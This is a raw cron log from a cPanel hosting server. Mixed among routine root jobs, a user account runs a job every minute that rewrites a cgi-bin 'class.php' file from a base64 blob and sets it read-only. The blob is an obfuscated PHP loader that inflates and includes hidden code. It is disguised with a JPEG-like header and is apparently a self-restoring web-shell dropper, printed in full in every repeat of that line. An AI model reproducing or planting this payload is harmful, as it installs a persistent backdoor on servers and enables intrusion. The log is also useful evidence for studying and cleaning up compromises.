Aug 30 21:04:01 server CROND[6616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:05:01 server CROND[7065]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:05:01 server CROND[7069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:05:01 server CROND[7068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:05:01 server CROND[7067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:05:01 server CROND[7071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:05:01 server CROND[7072]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:05:01 server CROND[7073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:05:01 server CROND[7070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:06:01 server CROND[7949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:06:01 server CROND[7950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:06:01 server CROND[7948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:07:01 server CROND[8328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:07:01 server CROND[8329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:07:01 server CROND[8330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:08:01 server CROND[8709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:08:01 server CROND[8710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:08:01 server CROND[8711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:09:01 server CROND[9084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:09:01 server CROND[9086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:09:01 server CROND[9085]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 21:09:01 server CROND[9087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:10:01 server CROND[9470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:10:01 server CROND[9471]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:10:01 server CROND[9474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:10:01 server CROND[9477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:10:01 server CROND[9475]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:10:01 server CROND[9479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:10:01 server CROND[9478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:10:01 server CROND[9476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:11:01 server CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:11:01 server CROND[10394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:11:01 server CROND[10395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:12:01 server CROND[10768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:12:01 server CROND[10770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:12:01 server CROND[10769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:12:01 server CROND[10771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:13:01 server CROND[11145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:13:01 server CROND[11146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:13:01 server CROND[11147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:14:01 server CROND[11519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:14:01 server CROND[11520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:14:01 server CROND[11521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:15:01 server CROND[11938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:15:01 server CROND[11940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:15:01 server CROND[11942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:15:01 server CROND[11941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:15:01 server CROND[11943]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:15:01 server CROND[11945]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 21:15:01 server CROND[11946]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
